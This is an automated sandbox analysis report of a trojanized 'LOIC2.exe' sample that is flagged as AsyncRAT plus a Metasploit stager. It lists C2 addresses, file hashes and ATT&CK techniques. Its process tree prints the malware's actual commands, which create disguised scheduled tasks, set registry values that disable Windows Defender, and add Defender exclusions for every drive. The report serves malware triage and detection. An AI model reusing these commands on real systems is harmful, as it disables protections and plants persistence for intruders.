asyncrat | f47616e1ab4fc52d125b91a94eef6e87f7589b5d664d3dcdaef7063d80149b64

Analysis

max time kernel
143s
max time network
149s
platform
windows7_x64
resource
win7-20240611-en
resource tags

arch:x64arch:x86image:win7-20240611-enlocale:en-usos:windows7-x64system
submitted
19/06/2024, 22:13

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
LOIC2.exe
Size 4.7MB
Sample240619-147qraycrp
SHA256 f47616e1ab4fc52d125b91a94eef6e87f7589b5d664d3dcdaef7063d80149b64
MD5 f0c1a8f2121060299f00c12f2b2d9eb5
SHA1 468cac69f0dc64b099e9b483beb7ca8f48341591
SHA512 7111b3e586d2af067d391ed0e18eab5f7f93d2ebcacd7b469ba2c7abe0479daf1ef06f3e5d75aec686e05248e72a62dd776c001d2464ed4842aa911cc8ce4c80
SSDEEP 49152:PeKplaGpXu2CIFw//LYf6JhIPXZabK6NoihEWUbNapgFrnH/melr7O1/3gGJiz5G:plr5CzL7zucbK6NcWU4p6c1/36P
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

asyncrat metasploit default backdoor evasion execution rat trojan

Malware Config

Extracted

Family

asyncrat

Botnet

Default

127.0.0.1:3334
127.0.0.1:21265
193.161.193.99:3334
193.161.193.99:21265

Attributes

delay
1
install
true
install_file
COM Surrogate.exe
install_folder
%AppData%

aes.plain

Extracted

Family

metasploit

Version

metasploit_stager

193.161.193.99:52695

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/files/0x001800000001386d-10.dat	family_asyncrat

Blocklisted process makes network request 8 IoCs

flow	pid	Process
5	1540	rundll32.exe
6	1540	rundll32.exe
7	1540	rundll32.exe
8	1540	rundll32.exe
9	1540	rundll32.exe
10	1540	rundll32.exe
12	1540	rundll32.exe
13	1540	rundll32.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 26 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1796	powershell.exe
1880	powershell.exe
588	powershell.exe
1392	powershell.exe
2940	powershell.exe
1784	powershell.exe
992	powershell.exe
2216	powershell.exe
2604	powershell.exe
588	powershell.exe
2876	powershell.exe
2512	powershell.exe
776	powershell.exe
552	powershell.exe
2852	powershell.exe
1872	powershell.exe
448	powershell.exe
2536	powershell.exe
2668	powershell.exe
332	powershell.exe
2436	powershell.exe
2560	powershell.exe
2152	powershell.exe
628	powershell.exe
1200	powershell.exe
1852	powershell.exe

Executes dropped EXE 5 IoCs

pid	Process
3036	LOlC.exe
2912	Runtime Broker.exe
2344	LOIC.exe
908	COM Surrogate.exe
688	Anti Malware Service.exe

Loads dropped DLL 3 IoCs

pid	Process
3056	LOIC2.exe
1716	cmd.exe
1716	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
1280	timeout.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2660	schtasks.exe
1052	schtasks.exe

Suspicious behavior: EnumeratesProcesses 29 IoCs

pid	Process
2852	powershell.exe
2560	powershell.exe
2436	powershell.exe
2912	Runtime Broker.exe
2912	Runtime Broker.exe
2912	Runtime Broker.exe
1872	powershell.exe
2152	powershell.exe
2512	powershell.exe
776	powershell.exe
588	powershell.exe
448	powershell.exe
1784	powershell.exe
992	powershell.exe
628	powershell.exe
1796	powershell.exe
1392	powershell.exe
1200	powershell.exe
2216	powershell.exe
2536	powershell.exe
2668	powershell.exe
2604	powershell.exe
2876	powershell.exe
1880	powershell.exe
1852	powershell.exe
552	powershell.exe
2940	powershell.exe
332	powershell.exe
588	powershell.exe

Suspicious use of AdjustPrivilegeToken 28 IoCs

description	pid	Process
Token: SeDebugPrivilege	2852	powershell.exe
Token: SeDebugPrivilege	2560	powershell.exe
Token: SeDebugPrivilege	2436	powershell.exe
Token: SeDebugPrivilege	2912	Runtime Broker.exe
Token: SeDebugPrivilege	1872	powershell.exe
Token: SeDebugPrivilege	2152	powershell.exe
Token: SeDebugPrivilege	2512	powershell.exe
Token: SeDebugPrivilege	776	powershell.exe
Token: SeDebugPrivilege	588	powershell.exe
Token: SeDebugPrivilege	448	powershell.exe
Token: SeDebugPrivilege	1784	powershell.exe
Token: SeDebugPrivilege	992	powershell.exe
Token: SeDebugPrivilege	628	powershell.exe
Token: SeDebugPrivilege	1796	powershell.exe
Token: SeDebugPrivilege	1392	powershell.exe
Token: SeDebugPrivilege	1200	powershell.exe
Token: SeDebugPrivilege	908	COM Surrogate.exe
Token: SeDebugPrivilege	2216	powershell.exe
Token: SeDebugPrivilege	2536	powershell.exe
Token: SeDebugPrivilege	2668	powershell.exe
Token: SeDebugPrivilege	2604	powershell.exe
Token: SeDebugPrivilege	2876	powershell.exe
Token: SeDebugPrivilege	1880	powershell.exe
Token: SeDebugPrivilege	1852	powershell.exe
Token: SeDebugPrivilege	552	powershell.exe
Token: SeDebugPrivilege	2940	powershell.exe
Token: SeDebugPrivilege	332	powershell.exe
Token: SeDebugPrivilege	588	powershell.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2344	LOIC.exe
2344	LOIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3056 wrote to memory of 3036	3056	LOIC2.exe	28
PID 3056 wrote to memory of 3036	3056	LOIC2.exe	28
PID 3056 wrote to memory of 3036	3056	LOIC2.exe	28
PID 3056 wrote to memory of 2912	3056	LOIC2.exe	30
PID 3056 wrote to memory of 2912	3056	LOIC2.exe	30
PID 3056 wrote to memory of 2912	3056	LOIC2.exe	30
PID 3036 wrote to memory of 2624	3036	LOlC.exe	31
PID 3036 wrote to memory of 2624	3036	LOlC.exe	31
PID 3036 wrote to memory of 2624	3036	LOlC.exe	31
PID 3056 wrote to memory of 2344	3056	LOIC2.exe	32
PID 3056 wrote to memory of 2344	3056	LOIC2.exe	32
PID 3056 wrote to memory of 2344	3056	LOIC2.exe	32
PID 3036 wrote to memory of 2812	3036	LOlC.exe	33
PID 3036 wrote to memory of 2812	3036	LOlC.exe	33
PID 3036 wrote to memory of 2812	3036	LOlC.exe	33
PID 3036 wrote to memory of 2732	3036	LOlC.exe	34
PID 3036 wrote to memory of 2732	3036	LOlC.exe	34
PID 3036 wrote to memory of 2732	3036	LOlC.exe	34
PID 2732 wrote to memory of 2660	2732	cmd.exe	35
PID 2732 wrote to memory of 2660	2732	cmd.exe	35
PID 2732 wrote to memory of 2660	2732	cmd.exe	35
PID 3036 wrote to memory of 2664	3036	LOlC.exe	36
PID 3036 wrote to memory of 2664	3036	LOlC.exe	36
PID 3036 wrote to memory of 2664	3036	LOlC.exe	36
PID 2664 wrote to memory of 2536	2664	cmd.exe	37
PID 2664 wrote to memory of 2536	2664	cmd.exe	37
PID 2664 wrote to memory of 2536	2664	cmd.exe	37
PID 3036 wrote to memory of 2136	3036	LOlC.exe	38
PID 3036 wrote to memory of 2136	3036	LOlC.exe	38
PID 3036 wrote to memory of 2136	3036	LOlC.exe	38
PID 2136 wrote to memory of 2868	2136	cmd.exe	39
PID 2136 wrote to memory of 2868	2136	cmd.exe	39
PID 2136 wrote to memory of 2868	2136	cmd.exe	39
PID 3036 wrote to memory of 2808	3036	LOlC.exe	40
PID 3036 wrote to memory of 2808	3036	LOlC.exe	40
PID 3036 wrote to memory of 2808	3036	LOlC.exe	40
PID 2808 wrote to memory of 2852	2808	cmd.exe	41
PID 2808 wrote to memory of 2852	2808	cmd.exe	41
PID 2808 wrote to memory of 2852	2808	cmd.exe	41
PID 3036 wrote to memory of 2544	3036	LOlC.exe	42
PID 3036 wrote to memory of 2544	3036	LOlC.exe	42
PID 3036 wrote to memory of 2544	3036	LOlC.exe	42
PID 2544 wrote to memory of 2560	2544	cmd.exe	43
PID 2544 wrote to memory of 2560	2544	cmd.exe	43
PID 2544 wrote to memory of 2560	2544	cmd.exe	43
PID 3036 wrote to memory of 3020	3036	LOlC.exe	44
PID 3036 wrote to memory of 3020	3036	LOlC.exe	44
PID 3036 wrote to memory of 3020	3036	LOlC.exe	44
PID 3020 wrote to memory of 2436	3020	cmd.exe	45
PID 3020 wrote to memory of 2436	3020	cmd.exe	45
PID 3020 wrote to memory of 2436	3020	cmd.exe	45
PID 3036 wrote to memory of 768	3036	LOlC.exe	47
PID 3036 wrote to memory of 768	3036	LOlC.exe	47
PID 3036 wrote to memory of 768	3036	LOlC.exe	47
PID 768 wrote to memory of 1872	768	cmd.exe	48
PID 768 wrote to memory of 1872	768	cmd.exe	48
PID 768 wrote to memory of 1872	768	cmd.exe	48
PID 2912 wrote to memory of 1868	2912	Runtime Broker.exe	49
PID 2912 wrote to memory of 1868	2912	Runtime Broker.exe	49
PID 2912 wrote to memory of 1868	2912	Runtime Broker.exe	49
PID 2912 wrote to memory of 2712	2912	Runtime Broker.exe	51
PID 2912 wrote to memory of 2712	2912	Runtime Broker.exe	51
PID 2912 wrote to memory of 2712	2912	Runtime Broker.exe	51
PID 1868 wrote to memory of 1052	1868	cmd.exe	53

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\LOIC2.exe
"C:\Users\Admin\AppData\Local\Temp\LOIC2.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3056
- C:\Users\Admin\AppData\Local\LOlC.exe
  "C:\Users\Admin\AppData\Local\LOlC.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3036
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c mkdir "C:\Users\Admin\AppData\Local\Windows Defender"
    3⤵
    PID:2624
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c COPY "C:\Users\Admin\AppData\Local\LOlC.exe" "C:\Users\Admin\AppData\Local\Windows Defender\Windows Defender.exe"
    3⤵
    PID:2812
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c SCHTASKS /CREATE /SC ONLOGON /TN "Windows Defender\Defender Scan" /TR "C:\Users\Admin\AppData\Local\Windows Defender\Windows Defender.exe" /F /RU "SYSTEM"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2732
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /CREATE /SC ONLOGON /TN "Windows Defender\Defender Scan" /TR "C:\Users\Admin\AppData\Local\Windows Defender\Windows Defender.exe" /F /RU "SYSTEM"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2660
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c reg Add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 01 -f
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2664
  - - C:\Windows\system32\reg.exe
      reg Add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 01 -f
      4⤵
      PID:2536
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c reg Add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 -f
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2136
  - - C:\Windows\system32\reg.exe
      reg Add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 -f
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:2868
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath "A:\\" -Force
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2808
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe Add-MpPreference -ExclusionPath "A:\\" -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2852
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath "B:\\" -Force
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2544
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe Add-MpPreference -ExclusionPath "B:\\" -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2560
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath "C:\\" -Force
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3020
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe Add-MpPreference -ExclusionPath "C:\\" -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2436
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath "D:\\" -Force
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:768
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe Add-MpPreference -ExclusionPath "D:\\" -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1872
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath "E:\\" -Force
    3⤵
    PID:2240
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe Add-MpPreference -ExclusionPath "E:\\" -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2152
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath "F:\\" -Force
    3⤵
    PID:2508
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe Add-MpPreference -ExclusionPath "F:\\" -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2512
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath "G:\\" -Force
    3⤵
    PID:676
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe Add-MpPreference -ExclusionPath "G:\\" -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:776
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath "H:\\" -Force
    3⤵
    PID:1736
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe Add-MpPreference -ExclusionPath "H:\\" -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:588
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath "I:\\" -Force
    3⤵
    PID:2368
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe Add-MpPreference -ExclusionPath "I:\\" -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:448
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath "J:\\" -Force
    3⤵
    PID:2132
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe Add-MpPreference -ExclusionPath "J:\\" -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1784
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath "K:\\" -Force
    3⤵
    PID:800
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe Add-MpPreference -ExclusionPath "K:\\" -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:992
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath "L:\\" -Force
    3⤵
    PID:2224
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe Add-MpPreference -ExclusionPath "L:\\" -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:628
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath "M:\\" -Force
    3⤵
    PID:848
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe Add-MpPreference -ExclusionPath "M:\\" -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1796
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath "N:\\" -Force
    3⤵
    PID:2956
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe Add-MpPreference -ExclusionPath "N:\\" -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1392
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath "O:\\" -Force
    3⤵
    PID:2056
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe Add-MpPreference -ExclusionPath "O:\\" -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1200
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath "P:\\" -Force
    3⤵
    PID:1764
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe Add-MpPreference -ExclusionPath "P:\\" -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2216
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath "Q:\\" -Force
    3⤵
    PID:2656
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe Add-MpPreference -ExclusionPath "Q:\\" -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2536
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath "R:\\" -Force
    3⤵
    PID:2420
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe Add-MpPreference -ExclusionPath "R:\\" -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2668
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath "S:\\" -Force
    3⤵
    PID:820
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe Add-MpPreference -ExclusionPath "S:\\" -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2604
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath "T:\\" -Force
    3⤵
    PID:1708
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe Add-MpPreference -ExclusionPath "T:\\" -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2876
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath "U:\\" -Force
    3⤵
    PID:1604
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe Add-MpPreference -ExclusionPath "U:\\" -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1880
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath "V:\\" -Force
    3⤵
    PID:1052
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe Add-MpPreference -ExclusionPath "V:\\" -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1852
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath "W:\\" -Force
    3⤵
    PID:2880
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe Add-MpPreference -ExclusionPath "W:\\" -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:552
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath "X:\\" -Force
    3⤵
    PID:2272
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe Add-MpPreference -ExclusionPath "X:\\" -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2940
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath "Y:\\" -Force
    3⤵
    PID:476
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe Add-MpPreference -ExclusionPath "Y:\\" -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:332
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath "Z:\\" -Force
    3⤵
    PID:844
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe Add-MpPreference -ExclusionPath "Z:\\" -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:588
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Windows Defender\Anti Malware Service.exe"
    3⤵
    - Loads dropped DLL
    PID:1716
  - - C:\Users\Admin\AppData\Local\Windows Defender\Anti Malware Service.exe
      "C:\Users\Admin\AppData\Local\Windows Defender\Anti Malware Service.exe"
      4⤵
      Executes dropped EXE
      PID:688
    - - C:\Windows\system32\rundll32.exe
        
        rundll32
        5⤵
        Blocklisted process makes network request
        
        PID:1540
- C:\Users\Admin\AppData\Local\Runtime Broker.exe
  "C:\Users\Admin\AppData\Local\Runtime Broker.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2912
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "COM Surrogate" /tr '"C:\Users\Admin\AppData\Roaming\COM Surrogate.exe"' & exit
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1868
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc onlogon /rl highest /tn "COM Surrogate" /tr '"C:\Users\Admin\AppData\Roaming\COM Surrogate.exe"'
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1052
- - C:\Windows\system32\cmd.exe
    cmd /c ""C:\Users\Admin\AppData\Local\Temp\tmp1584.tmp.bat""
    3⤵
    PID:2712
  - - C:\Windows\system32\timeout.exe
      timeout 3
      4⤵
      Delays execution with timeout.exe
      PID:1280
  - - C:\Users\Admin\AppData\Roaming\COM Surrogate.exe
      "C:\Users\Admin\AppData\Roaming\COM Surrogate.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:908
- C:\Users\Admin\AppData\Local\LOIC.exe
  "C:\Users\Admin\AppData\Local\LOIC.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:2344

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

LOIC.exe

Path C:\Users\Admin\AppData\Local\LOIC.exe
Size 133KB
SHA256 f60a52512773b52def9ba9ce8aad61144d2cf351f6bc04d1c5a13abef8f3b89b
MD5 e6fa3028cd03318496852718143d256f
SHA1 4c85973d612cd1955163c244c9c334d3a0c507cb
SHA512 29089eccd1e670570fecafdd682f0ec13bc55fb17cdc0938ff4c6fd32c55c1919e26fad5b3ffed78217a94a9e8aba768cdf092ffc85f6ab19fbede0dc0fae0bb
SSDEEP 3072:aMGPLnkqtBoZ9B8ocW48kLcOpd29oRFdf:aZP7dXoZ9B8GJkVrd
MD5 SHA1 SHA512 SSDEEP

Submit Download

Runtime Broker.exe

Path C:\Users\Admin\AppData\Local\Runtime Broker.exe
Size 63KB
SHA256 9625d7f8c8ddded4818a03ec7912c0df6ce464a95eb055b01a15fe3aa373305b
MD5 9c3ad681c33d3fb6934102a35cb7a2ad
SHA1 d3630943b6af7b956eb459fc2e8f5137f2f5f8a1
SHA512 ea310b840455b8279c72ccb8e45f27b6ec861baf66d223b584d790bdca6426b54729eb7c80163c8e6ce1e88044088c1167109be0cb9418935d70ef42a6bbd466
SSDEEP 1536:EriU6E6tfPHDYUb6ha1TNE0ukdpqKmY7:Ert8XjYUb6kvGz
MD5 SHA1 SHA512 SSDEEP

Submit Download

Cab346B.tmp

Path C:\Users\Admin\AppData\Local\Temp\Cab346B.tmp
Size 70KB
SHA256 b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f
MD5 49aebf8cbd62d92ac215b2923fb1b9f5
SHA1 1723be06719828dda65ad804298d0431f6aff976
SHA512 bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b
SSDEEP 1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5 SHA1 SHA512 SSDEEP

Submit Download

Tar37A9.tmp

Path C:\Users\Admin\AppData\Local\Temp\Tar37A9.tmp
Size 181KB
SHA256 8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8
MD5 4ea6026cf93ec6338144661bf1202cd1
SHA1 a1dec9044f750ad887935a01430bf49322fbdcb7
SHA512 6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b
SSDEEP 1536:aAZw/J+lCUsTRvsqgCyqWlUDNWdm1wpSru2A0XwjY/z02DTr3rmt6mZ:as2J+qTR0XCy/dmASru2AijbdG
MD5 SHA1 SHA512 SSDEEP

Submit Download

tmp1584.tmp.bat

Path C:\Users\Admin\AppData\Local\Temp\tmp1584.tmp.bat
Size 157B
